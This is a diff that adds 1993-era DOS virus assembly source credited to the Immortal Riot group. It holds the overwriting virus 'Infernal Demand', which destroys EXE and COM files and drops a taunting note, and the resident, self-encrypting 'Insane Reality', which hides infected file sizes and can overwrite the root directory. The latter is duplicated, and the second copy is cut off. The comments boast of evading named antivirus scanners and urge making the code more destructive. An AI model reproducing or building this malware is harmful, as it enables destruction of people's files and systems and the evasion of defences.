entcheck: mov ax,0DADAh ;already installed?
|
||||
int 21h
|
||||
cmp ah,0A5h
|
||||
je entstop
|
||||
|
||||
call install ;install the program
|
||||
|
||||
entstop: iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Install the program at top of memory
|
||||
;****************************************************************************
|
||||
|
||||
install: push ds
|
||||
push es
|
||||
|
||||
xor ax,ax ;get original int21 vector
|
||||
mov es,ax
|
||||
mov cx,word ptr es:0084h
|
||||
mov dx,word ptr es:0086h
|
||||
mov cs:[bx+offset oi21],cx
|
||||
mov cs:[bx+offset oi21+2],dx
|
||||
|
||||
mov ax,ds ;adjust memory-size
|
||||
dec ax
|
||||
mov es,ax
|
||||
cmp byte ptr es:[0000h],5Ah
|
||||
jnz cancel
|
||||
mov ax,es:[0003h]
|
||||
sub ax,RESPAR
|
||||
jb cancel
|
||||
mov es:[0003h],ax
|
||||
sub es:[0012h], word ptr RESPAR
|
||||
|
||||
push cs ;copy program to top
|
||||
pop ds
|
||||
mov es,es:[0012h]
|
||||
mov ax,bx
|
||||
add ax,0100
|
||||
mov si,ax
|
||||
mov di,0100h
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov dx,offset ni21 ;set vector to new handler
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: pop es
|
||||
pop ds
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
envstring: db 'E=mcý',0 ;put this in your environment!
|
||||
|
||||
signature: db 'GOTCHA!',0 ;I have got you! :-)
|
||||
signend:
|
||||
|
||||
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
; VirusName: Infernal Demand
|
||||
; Country : Sweden
|
||||
; Author : Metal Militia / Immortal Riot
|
||||
; Date : 10/08/1993
|
||||
;
|
||||
;
|
||||
; This is our (Metal Militia's) very first scratch virus. It's just
|
||||
; an overwriting one. It overwrites the first 999 bytes in exe/com
|
||||
; files. (Write protected/hidden files are also "infected"). This (999)
|
||||
; isn't really the virus size, but the virus, is set to overwrite the
|
||||
; first 999 bytes. If the programs are less then 999 bytes, the virus
|
||||
; will overwrite it anyhow.
|
||||
;
|
||||
; When you starts this, the virus will make a file under your c:\
|
||||
; which is called "Infernal.ir". The file includes a rather nice
|
||||
; "poem" written by the person sitting behind the keys here..
|
||||
;
|
||||
; The "infected" files attributes (time/day), will be saved
|
||||
; and restored, the file-size will not be hidden, but anyway..
|
||||
;
|
||||
; It doesn't contain any encryption nor nuking routine, but
|
||||
; who cares about that for an overwriting virus?
|
||||
;
|
||||
; F-prot finds this is some trivial-shit, but it ain't!
|
||||
; Mcafee scan v108 and S&S Toolkit's FindViru can't find this
|
||||
;
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; INFERNAL DEMAND
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
cseg segment byte public
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
INFERNAL proc far
|
||||
|
||||
start:
|
||||
mov ah,19h ; get current drive
|
||||
int 21h ;
|
||||
push ax ;
|
||||
|
||||
mov ah,0Eh ;
|
||||
mov dl,02h ; drive C:
|
||||
int 21h
|
||||
|
||||
great:
|
||||
mov dx,offset ExeMask ; offset 'EXEMASK'
|
||||
mov ah,4Eh ; find first
|
||||
int 21h ;
|
||||
|
||||
jnc go_for_it ; jmp if no ERROR
|
||||
|
||||
|
||||
mov dx,offset ComMask ; offset 'COMMASK'
|
||||
mov ah,4Eh ; find first
|
||||
;
|
||||
again: ;
|
||||
int 21h ;
|
||||
|
||||
jc chdir ; If ERROR change directory
|
||||
|
||||
|
||||
go_for_it:
|
||||
mov ax,4300h ; Get attribute of file
|
||||
mov dx,9eh ; Pointer to name in DTA
|
||||
int 21h ;
|
||||
|
||||
push cx ; Push the attrib to stack
|
||||
|
||||
mov ax,4301h ; Set attribute to
|
||||
xor cx,cx ; normal
|
||||
int 21h ;
|
||||
|
||||
mov ax,3D02h ; Open file
|
||||
mov dx,9eh ; Pointer to name in DTA
|
||||
int 21h
|
||||
|
||||
jc next ; if error, get next file
|
||||
|
||||
xchg ax,bx ; Swap AX & BX
|
||||
; so the filehandle ends up
|
||||
; in BX
|
||||
|
||||
mov ax,5700h ; Get file date
|
||||
int 21h ;
|
||||
|
||||
|
||||
push cx ; Save file dates
|
||||
push dx ;
|
||||
|
||||
mov dx,100h ; Write code from 100h
|
||||
mov ah,40h ; to target file.
|
||||
mov cx,789 ; Write XXX bytes
|
||||
int 21h ;
|
||||
|
||||
|
||||
pop dx ; Get the saved
|
||||
pop cx ; filedates from the stack
|
||||
|
||||
mov ax,5701h ; Set them back to the file
|
||||
int 21h ;
|
||||
|
||||
mov ah,3Eh ; Close the file
|
||||
int 21h ;
|
||||
|
||||
pop cx ; Restore the attribs from
|
||||
; the stack.
|
||||
|
||||
mov dx,9eh ; Pointer to name in DTA
|
||||
mov ax,4301h ; Set them attributes back
|
||||
int 21h ;
|
||||
|
||||
next:
|
||||
mov ah,4Fh ; now get the next file
|
||||
jmp short again ; and do it all over again
|
||||
|
||||
chdir:
|
||||
mov ah,3ch
|
||||
mov cx,0
|
||||
mov dx,offset makeit
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
mov ah,40h
|
||||
mov cx,meslen
|
||||
mov dx,offset note
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
mov dx,offset updir ; offset 'updir'
|
||||
mov ah,3bh ; change directory
|
||||
int 21h
|
||||
|
||||
jnc great ; jmp to great if no ERROR
|
||||
|
||||
exit:
|
||||
pop dx ;
|
||||
mov ah,0Eh ; restore org. drive
|
||||
int 21h ;
|
||||
|
||||
retn ; return to PROMPT
|
||||
|
||||
|
||||
ExeMask db '*.EXE',0
|
||||
ComMask db '*.COM',0
|
||||
Makeit db 'c:\infernal.ir',0
|
||||
UpDir db '..',0
|
||||
Note db 'Infernal Demand! '
|
||||
db '(c) Metal Militia / Immortal Riot '
|
||||
Dumpnote db ' ',0dh,0ah
|
||||
db 'Your misery is our pleasure! ',0dh,0ah
|
||||
db 'Your nightmare is our dream! ',0dh,0ah
|
||||
db 'Your hell is our paradise! ',0dh,0ah
|
||||
db 'Your lost is our demand! ',0dh,0ah
|
||||
db 'Your cry is our laugh! ',0dh,0ah
|
||||
db 'And your fate is ours!',0dh,0ah
|
||||
Meslen equ $-note
|
||||
|
||||
INFERNAL endp
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
@@ -0,0 +1,601 @@
|
||||
; VirusName : Insane Reality
|
||||
; Country : Sweden
|
||||
; Author : The Unforiven / Immortal Riot
|
||||
; Date : 22/09/1993
|
||||
;
|
||||
;
|
||||
; This is a mutation of the Leech virus, and well,
|
||||
; havn't really changed much in this code, just
|
||||
; fooled Mcafee's Scan and Dr Alans Toolkit..
|
||||
;
|
||||
; Okey, this might not be the very best mutation born,
|
||||
; but think in this way, if this mutation is so bad
|
||||
; then aren't the anti-virus products even worse ?
|
||||
;
|
||||
; The original virus was pretty "OK", it is a non-over-
|
||||
; writing resident .COM. It will infect the program
|
||||
; after you have started it. It will not infect renamed
|
||||
; exe files. (..It looks at the victim's fileheader..)
|
||||
;
|
||||
; When the virus is in memory a infected files attributes
|
||||
; (..size/date/time..) will not be discovored. If you boot
|
||||
; your computer, and throw the virus out from memory,
|
||||
; you'll see that the file has been changed. If an
|
||||
; infected file is being run again, the virus will
|
||||
; replace the infected file with its old file-attributes.
|
||||
;
|
||||
; This virus was originally written in Bulgaria..
|
||||
; (..where else..) and I would like to thank the
|
||||
; scratch coder of this little babe very much...
|
||||
;
|
||||
; Really hope this file will annoy some folks around,
|
||||
; cuz it certainly annoyed me!..<no more comments>...
|
||||
;
|
||||
; Mcafee's Scan v108 can't find this, and neither can
|
||||
; S&S Toolkit 6.54. Havn't tried with Tbscan/F-prot,
|
||||
; but they will probably identify this as the leech virus.
|
||||
;
|
||||
; Beware of the Insane Reality we're living in!
|
||||
; Signed The Unforgiven / Immortal Riot
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 0
|
||||
|
||||
; ÄÄ---Ä-ÄÄÄÄÄ--Ä-ÄÄÄÄÄ--ÄÄÄÄ-Ä-ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄ-ÄÄ-
|
||||
; Disassembly by Dark Angel of Phalcon/Skism
|
||||
; Assemble with Tasm /m Insane.asm, then link
|
||||
; and use exe2bin for make this into a .com..
|
||||
; Ä-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄ-
|
||||
|
||||
virlength = (readbuffer - leech)
|
||||
reslength = (((encrypted_file - leech + 15) / 16) + 2)
|
||||
|
||||
leech:
|
||||
jmp short enter_leech
|
||||
|
||||
filesize dw offset carrier
|
||||
oldint21 dw 0, 0
|
||||
oldint13 dw 0, 0
|
||||
oldint24 dw 0, 0
|
||||
datestore dw 0
|
||||
timestore dw 0
|
||||
runningflag db 1
|
||||
evenodd dw 0
|
||||
|
||||
enter_leech:
|
||||
call next
|
||||
next:
|
||||
pop si
|
||||
db 0 ; Scan-fooler..
|
||||
|
||||
mutatearea1:
|
||||
cli ; prevent all interupts
|
||||
push ds ; Why?
|
||||
pop es
|
||||
mov bp,sp ; save sp
|
||||
mov sp,si ; sp = offset next
|
||||
add sp,encrypt_value1 - 1 - next
|
||||
mutatearea2:
|
||||
mov cx,ss ; save ss
|
||||
mov ax,cs
|
||||
mov ss,ax ; ss = PSP
|
||||
pop bx ; get encryption value
|
||||
dec sp
|
||||
dec sp
|
||||
add si,startencrypt - next
|
||||
nop
|
||||
decrypt:
|
||||
mutatearea3:
|
||||
pop ax
|
||||
xor al,bh ; decrypt away!
|
||||
push ax
|
||||
dec sp
|
||||
cmp sp,si
|
||||
jae decrypt
|
||||
startencrypt:
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax ; ds->MCB
|
||||
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
|
||||
dw 0 - reslength
|
||||
mov bx,ds:[3] ; bx = memory size
|
||||
mov byte ptr ds:[0],'Z' ; mark end of chain
|
||||
inc ax ; ax->PSP
|
||||
inc bx
|
||||
add bx,ax ; bx->high area
|
||||
mov es,bx ; as does es
|
||||
mov ss,cx ; restore ss
|
||||
add si,leech - startencrypt
|
||||
mov bx,ds ; save MCB segment
|
||||
mov ds,ax
|
||||
mov sp,bp ; restore sp
|
||||
push si
|
||||
xor di,di
|
||||
mov cx,virlength ; 1024 bytes
|
||||
cld
|
||||
rep movsb
|
||||
pop si
|
||||
push bx
|
||||
mov bx,offset highentry
|
||||
push es
|
||||
push bx
|
||||
retf ; jmp to highentry in
|
||||
; high memory
|
||||
highentry:
|
||||
mov es,ax ; es->PSP
|
||||
mov ax,cs:filesize
|
||||
add ax,100h ; find stored area
|
||||
mov di,si
|
||||
mov si,ax
|
||||
mov cx,virlength
|
||||
rep movsb ; and restore over virus code
|
||||
pop es ; MCB
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds -> interrupt table
|
||||
sti
|
||||
cmp word ptr ds:21h*4,offset int21 ; already resident?
|
||||
jne go_resident
|
||||
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
|
||||
dw 0 - reslength ;alter memory size
|
||||
test byte ptr ds:[46Ch],0E7h ;1.17% chance of activation
|
||||
jnz exit_virus
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset message ; "Insane Reality.."
|
||||
display_loop: ; display ASCIIZ string
|
||||
lodsb ; get next character
|
||||
or al,0 ; exit if 0
|
||||
jz exit_display_loop
|
||||
mov ah,0Eh ; otherwise write character
|
||||
int 10h
|
||||
|
||||
jmp short display_loop
|
||||
exit_display_loop:
|
||||
mov ah,32h ; Get DPB -> DS:BX
|
||||
xor dl,dl
|
||||
int 21h
|
||||
jc exit_virus ; exit on error
|
||||
|
||||
call getint13and24
|
||||
call setint13and24
|
||||
mov dx,[bx+10h] ; first sector of root
|
||||
; directory
|
||||
; BUG: won't work in DOS 4+
|
||||
mov ah,19h ; default drive -> al
|
||||
int 21h
|
||||
|
||||
mov cx,2 ; Overwrite root directory
|
||||
int 26h ; Direct write..
|
||||
|
||||
pop bx
|
||||
call setint13and24 ; restore int handlers
|
||||
exit_virus:
|
||||
jmp returnCOM
|
||||
go_resident:
|
||||
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
|
||||
dw 0 - reslength ;alter top of memory in PSP
|
||||
mov bx,ds:46Ch ;BX = random #
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov runningflag,1 ; reset flag
|
||||
and bh,80h
|
||||
mov nothing1,bh
|
||||
mutate1:
|
||||
test bl,1
|
||||
jnz mutate2
|
||||
mov si,offset mutatearea1
|
||||
add si,evenodd
|
||||
lodsb
|
||||
xchg al,[si] ; swap instructions
|
||||
mov [si-1],al
|
||||
mutate2:
|
||||
test bl,2
|
||||
jnz mutate3
|
||||
mov si,offset mutatearea2
|
||||
add si,evenodd
|
||||
lodsw
|
||||
xchg ax,[si] ; swap instructions
|
||||
mov [si-2],ax
|
||||
mutate3:
|
||||
test bl,4
|
||||
jnz mutate4
|
||||
mov si,offset mutatearea3
|
||||
mov al,2
|
||||
xor [si],al ; flip between ax & dx
|
||||
xor [si+2],al
|
||||
xor [si+3],al
|
||||
mutate4:
|
||||
test bl,8
|
||||
jnz findint21
|
||||
mov si,offset next
|
||||
mov di,offset readbuffer
|
||||
mov cx,offset enter_leech
|
||||
push si
|
||||
push di
|
||||
lodsb
|
||||
cmp al,5Eh ; 1 byte pop si?
|
||||
je now_single_byte_encode
|
||||
inc si ; skip second byte of two
|
||||
; byte encoding of pop si
|
||||
now_single_byte_encode:
|
||||
push cx
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop di
|
||||
cmp al,5Eh ; 1 byte pop si?
|
||||
je encode_two_bytes ; then change to 2
|
||||
mov al,5Eh ; encode a pop si
|
||||
stosb
|
||||
rep movsb ; then copy decrypt over
|
||||
mov al,90h ; plus a nop to keep virus
|
||||
stosb ; length constant
|
||||
xor ax,ax ; clear the flag
|
||||
jmp short set_evenodd_flag
|
||||
encode_two_bytes:
|
||||
mov ax,0C68Fh ; encode a two byte form of
|
||||
stosw ; pop si
|
||||
rep movsb
|
||||
mov ax,1 ; set evenodd flag
|
||||
set_evenodd_flag:
|
||||
mov cs:evenodd,ax
|
||||
findint21:
|
||||
mov ah,30h ; Get DOS version
|
||||
int 21h
|
||||
|
||||
cmp ax,1E03h ; DOS 3.30?
|
||||
jne notDOS33
|
||||
|
||||
mov ah,34h ; Get DOS critical error ptr
|
||||
int 21h
|
||||
|
||||
mov bx,1460h ; int 21h starts here
|
||||
jmp short alterint21
|
||||
notDOS33:
|
||||
mov ax,3521h ;just get current int 21 handler
|
||||
int 21h
|
||||
alterint21:
|
||||
mov oldint21,bx
|
||||
mov word ptr ds:oldint21+2,es
|
||||
mov si,21h*4 ; save old int 21 handler
|
||||
pop ds ; found in interrupt table
|
||||
push si
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset topint21
|
||||
movsw
|
||||
movsw
|
||||
pop di ; and put new one in
|
||||
push ds
|
||||
pop es
|
||||
mov ax,offset int21
|
||||
stosw
|
||||
mov ax,cs
|
||||
stosw
|
||||
|
||||
mov di,offset startencrypt
|
||||
mov al,cs:encrypt_value1 ; decrypt original
|
||||
decryptcode: ; program code
|
||||
xor cs:[di],al
|
||||
inc di
|
||||
cmp di,offset decryptcode
|
||||
jb decryptcode
|
||||
returnCOM:
|
||||
mov ah,62h ; Get current PSP
|
||||
int 21h
|
||||
|
||||
push bx ; restore segment registers
|
||||
mov ds,bx
|
||||
mov es,bx
|
||||
mov ax,100h
|
||||
push ax
|
||||
retf ; Return to PSP:100h
|
||||
|
||||
infect:
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
cld
|
||||
push cs
|
||||
pop ds
|
||||
xor dx,dx ; go to start of file
|
||||
call movefilepointer
|
||||
mov dx,offset readbuffer ; and read 3 bytes
|
||||
mov ah,3Fh
|
||||
mov cx,3
|
||||
call callint21
|
||||
jc exiterror
|
||||
|
||||
xor di,di
|
||||
mov ax,readbuffer
|
||||
mov cx,word ptr ds:[0]
|
||||
cmp cx,ax ; check if already infected
|
||||
je go_exitinfect
|
||||
cmp al,0EBh ; jmp short?
|
||||
jne checkifJMP
|
||||
mov al,ah
|
||||
xor ah,ah
|
||||
add ax,2
|
||||
mov di,ax ; di = jmp location
|
||||
checkifJMP:
|
||||
cmp al,0E9h ; jmp?
|
||||
jne checkifEXE ; nope
|
||||
mov ax,word ptr readbuffer+1
|
||||
add ax,3
|
||||
mov di,ax ; di = jmp location
|
||||
xor ax,ax
|
||||
checkifEXE:
|
||||
cmp ax,'MZ'
|
||||
je exiterror
|
||||
cmp ax,'ZM'
|
||||
jne continue_infect
|
||||
exiterror:
|
||||
stc
|
||||
go_exitinfect:
|
||||
jmp short exitinfect
|
||||
nop
|
||||
continue_infect:
|
||||
mov dx,di
|
||||
push cx
|
||||
call movefilepointer ; go to jmp location
|
||||
mov dx,virlength ; and read 1024 more bytes
|
||||
mov ah,3Fh
|
||||
mov cx,dx
|
||||
call callint21
|
||||
pop cx
|
||||
jc exiterror
|
||||
cmp readbuffer,cx
|
||||
je go_exitinfect
|
||||
mov ax,di
|
||||
sub ah,0FCh
|
||||
cmp ax,filesize
|
||||
jae exiterror
|
||||
mov dx,filesize
|
||||
call movefilepointer
|
||||
mov dx,virlength ; write virus to middle
|
||||
mov cx,dx ; of file
|
||||
mov ah,40h
|
||||
call callint21
|
||||
jc exitinfect
|
||||
mov dx,di
|
||||
call movefilepointer
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset readbuffer
|
||||
push di
|
||||
push di
|
||||
xor si,si
|
||||
mov cx,di
|
||||
rep movsb
|
||||
mov si,offset encrypt_value2
|
||||
mov al,encrypted_file
|
||||
encryptfile: ; encrypt infected file
|
||||
xor [si],al
|
||||
inc si
|
||||
cmp si,7FFh
|
||||
jb encryptfile
|
||||
pop cx
|
||||
pop dx
|
||||
mov ah,40h ; and write it to end of file
|
||||
call callint21
|
||||
exitinfect:
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
retn
|
||||
|
||||
int21:
|
||||
cmp ax,4B00h ; Execute?
|
||||
je execute
|
||||
cmp ah,3Eh ; Close?
|
||||
je handleclose
|
||||
cmp ah,11h ; Find first?
|
||||
je findfirstnext
|
||||
cmp ah,12h ; Find next?
|
||||
je findfirstnext
|
||||
exitint21:
|
||||
db 0EAh ; jmp far ptr
|
||||
topint21 dw 0, 0
|
||||
|
||||
findfirstnext:
|
||||
push si
|
||||
mov si,offset topint21
|
||||
pushf
|
||||
call dword ptr cs:[si] ; call int 21 handler
|
||||
pop si
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,2Fh ; Get DTA
|
||||
call callint21
|
||||
cmp byte ptr es:[bx],0FFh ; extended FCB?
|
||||
jne noextendedFCB
|
||||
add bx,7 ; convert to normal
|
||||
noextendedFCB:
|
||||
mov ax,es:[bx+17h] ; Get time
|
||||
and ax,1Fh ; and check infection stamp
|
||||
cmp ax,1Eh
|
||||
jne exitfindfirstnext
|
||||
mov ax,es:[bx+1Dh]
|
||||
cmp ax,virlength * 2 + 1 ; too small for infection?
|
||||
jb exitfindfirstnext ; then not infected
|
||||
sub ax,virlength ; alter file size
|
||||
mov es:[bx+1Dh],ax
|
||||
exitfindfirstnext:
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
iret
|
||||
|
||||
int24:
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
callint21:
|
||||
pushf
|
||||
call dword ptr cs:oldint21
|
||||
retn
|
||||
|
||||
movefilepointer:
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
call callint21
|
||||
retn
|
||||
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
mov cs:runningflag,0
|
||||
mov ax,3D00h ; open file read/only
|
||||
call callint21
|
||||
mov bx,ax
|
||||
mov ah,3Eh ; close file
|
||||
int 21h ; to trigger infection
|
||||
|
||||
pop bx
|
||||
pop ax
|
||||
go_exitint21:
|
||||
jmp short exitint21
|
||||
|
||||
handleclose:
|
||||
or cs:runningflag,0 ; virus currently active?
|
||||
jnz go_exitint21
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
call getint13and24
|
||||
call setint13and24
|
||||
; convert handle to filename
|
||||
mov ax,1220h ; get job file table entry
|
||||
int 2Fh
|
||||
jc handleclose_noinfect ; exit on error
|
||||
|
||||
mov ax,1216h ; get address of SFT
|
||||
mov bl,es:[di]
|
||||
xor bh,bh
|
||||
int 2Fh ; es:di->file entry in SFT
|
||||
|
||||
mov ax,es:[di+11h]
|
||||
mov cs:filesize,ax ; save file size,
|
||||
mov ax,es:[di+0Dh]
|
||||
and al,0F8h
|
||||
mov cs:timestore,ax ; time,
|
||||
mov ax,es:[di+0Fh]
|
||||
mov cs:datestore,ax ; and date
|
||||
cmp word ptr es:[di+29h],'MO' ; check for COM extension
|
||||
jne handleclose_noinfect
|
||||
cmp byte ptr es:[di+28h],'C'
|
||||
jne handleclose_noinfect
|
||||
cmp cs:filesize,0FA00h ; make sure not too large
|
||||
jae handleclose_noinfect
|
||||
mov al,20h ; alter file attribute
|
||||
xchg al,es:[di+4]
|
||||
mov ah,2 ; alter open mode to
|
||||
xchg ah,es:[di+2] ; read/write
|
||||
pop bx
|
||||
push bx
|
||||
push ax
|
||||
call infect
|
||||
pop ax
|
||||
mov es:[di+4],al ; restore file attribute
|
||||
mov es:[di+2],ah ; and open mode
|
||||
mov cx,cs:timestore
|
||||
jc infection_not_successful
|
||||
or cl,1Fh ; make file infected in
|
||||
and cl,0FEh ; seconds field
|
||||
infection_not_successful:
|
||||
mov dx,cs:datestore ; restore file time/date
|
||||
mov ax,5701h
|
||||
call callint21
|
||||
handleclose_noinfect:
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
call callint21
|
||||
call setint13and24
|
||||
retf 2 ; exit with flags intact
|
||||
|
||||
getint13and24:
|
||||
mov ah,13h ; Get BIOS int 13h handler
|
||||
int 2Fh
|
||||
mov cs:oldint13,bx
|
||||
mov cs:oldint13+2,es
|
||||
|
||||
int 2Fh ; Restore it
|
||||
|
||||
mov cs:oldint24,offset int24
|
||||
mov cs:oldint24+2,cs
|
||||
retn
|
||||
|
||||
setint13and24:
|
||||
push ax
|
||||
push si
|
||||
push ds
|
||||
pushf
|
||||
cli
|
||||
cld
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds->interrupt table
|
||||
|
||||
mov si,13h*4
|
||||
lodsw
|
||||
xchg ax,cs:oldint13 ; replace old int 13 handler
|
||||
mov [si-2],ax ; with original BIOS handler
|
||||
lodsw
|
||||
xchg ax,cs:oldint13+2
|
||||
mov [si-2],ax
|
||||
|
||||
mov si,24h*4 ; replace old int 24 handler
|
||||
lodsw ; with our own handler
|
||||
xchg ax,cs:oldint24
|
||||
mov [si-2],ax
|
||||
lodsw
|
||||
xchg ax,cs:oldint24+2
|
||||
mov [si-2],ax
|
||||
popf
|
||||
pop ds
|
||||
pop si
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Okey..don't change the text to much here, cuz the virus will refuse
|
||||
; to work correctly if you writes to many chars..If you wanna modify
|
||||
; this virus, make it a bit more destructive than it already is. I
|
||||
; love destructive codes..It reminds me of my Brain..(??) <grin>..
|
||||
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
message db 'Insane Reality.. ', 0 ; Mutation name..
|
||||
db 'The Unforgiven / IR.. ' ; That's me..
|
||||
|
||||
db 0, 0, 0, 0, 0
|
||||
|
||||
encrypt_value1 db 0
|
||||
readbuffer dw 0
|
||||
db 253 dup (0)
|
||||
|
||||
nothing1 db 0
|
||||
db 152 dup (0)
|
||||
encrypt_value2 db 0
|
||||
db 614 dup (0)
|
||||
encrypted_file db 0
|
||||
db 1280 dup (0)
|
||||
carrier:
|
||||
dw 20CDh
|
||||
|
||||
end leech
|
||||
|
||||
; Greetings goes out to Raver, Metal Militia, Scavenger,
|
||||
; and all the others livi'n in the Insane Reality of today.
|
||||
@@ -0,0 +1,601 @@
|
||||
; VirusName : Insane Reality
|
||||
; Country : Sweden
|
||||
; Author : The Unforiven / Immortal Riot
|
||||
; Date : 22/09/1993
|
||||
;
|
||||
;
|
||||
; This is a mutation of the Leech virus, and well,
|
||||
; havn't really changed much in this code, just
|
||||
; fooled Mcafee's Scan and Dr Alans Toolkit..
|
||||
;
|
||||
; Okey, this might not be the very best mutation born,
|
||||
; but think in this way, if this mutation is so bad
|
||||
; then aren't the anti-virus products even worse ?
|
||||
;
|
||||
; The original virus was pretty "OK", it is a non-over-
|
||||
; writing resident .COM. It will infect the program
|
||||
; after you have started it. It will not infect renamed
|
||||
; exe files. (..It looks at the victim's fileheader..)
|
||||
;
|
||||
; When the virus is in memory a infected files attributes
|
||||
; (..size/date/time..) will not be discovored. If you boot
|
||||
; your computer, and throw the virus out from memory,
|
||||
; you'll see that the file has been changed. If an
|
||||
; infected file is being run again, the virus will
|
||||
; replace the infected file with its old file-attributes.
|
||||
;
|
||||
; This virus was originally written in Bulgaria..
|
||||
; (..where else..) and I would like to thank the
|
||||
; scratch coder of this little babe very much...
|
||||
;
|
||||
; Really hope this file will annoy some folks around,
|
||||
; cuz it certainly annoyed me!..<no more comments>...
|
||||
;
|
||||
; Mcafee's Scan v108 can't find this, and neither can
|
||||
; S&S Toolkit 6.54. Havn't tried with Tbscan/F-prot,
|
||||
; but they will probably identify this as the leech virus.
|
||||
;
|
||||
; Beware of the Insane Reality we're living in!
|
||||
; Signed The Unforgiven / Immortal Riot
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 0
|
||||
|
||||
; ÄÄ---Ä-ÄÄÄÄÄ--Ä-ÄÄÄÄÄ--ÄÄÄÄ-Ä-ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄ-ÄÄ-
|
||||
; Disassembly by Dark Angel of Phalcon/Skism
|
||||
; Assemble with Tasm /m Insane.asm, then link
|
||||
; and use exe2bin for make this into a .com..
|
||||
; Ä-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄ-
|
||||
|
||||
virlength = (readbuffer - leech)
|
||||
reslength = (((encrypted_file - leech + 15) / 16) + 2)
|
||||
|
||||
leech:
|
||||
jmp short enter_leech
|
||||
|
||||
filesize dw offset carrier
|
||||
oldint21 dw 0, 0
|
||||
oldint13 dw 0, 0
|
||||
oldint24 dw 0, 0
|
||||
datestore dw 0
|
||||
timestore dw 0
|
||||
runningflag db 1
|
||||
evenodd dw 0
|
||||
|
||||
enter_leech:
|
||||
call next
|
||||
next:
|
||||
pop si
|
||||
db 0 ; Scan-fooler..
|
||||
|
||||
mutatearea1:
|
||||
cli ; prevent all interupts
|
||||
push ds ; Why?
|
||||
pop es
|
||||
mov bp,sp ; save sp
|
||||
mov sp,si ; sp = offset next
|
||||
add sp,encrypt_value1 - 1 - next
|
||||
mutatearea2:
|
||||
mov cx,ss ; save ss
|
||||
mov ax,cs
|
||||
mov ss,ax ; ss = PSP
|
||||
pop bx ; get encryption value
|
||||
dec sp
|
||||
dec sp
|
||||
add si,startencrypt - next
|
||||
nop
|
||||
decrypt:
|
||||
mutatearea3:
|
||||
pop ax
|
||||
xor al,bh ; decrypt away!
|
||||
push ax
|
||||
dec sp
|
||||
cmp sp,si
|
||||
jae decrypt
|
||||
startencrypt:
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax ; ds->MCB
|
||||
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
|
||||
dw 0 - reslength
|
||||
mov bx,ds:[3] ; bx = memory size
|
||||
mov byte ptr ds:[0],'Z' ; mark end of chain
|
||||
inc ax ; ax->PSP
|
||||
inc bx
|
||||
add bx,ax ; bx->high area
|
||||
mov es,bx ; as does es
|
||||
mov ss,cx ; restore ss
|
||||
add si,leech - startencrypt
|
||||
mov bx,ds ; save MCB segment
|
||||
mov ds,ax
|
||||
mov sp,bp ; restore sp
|
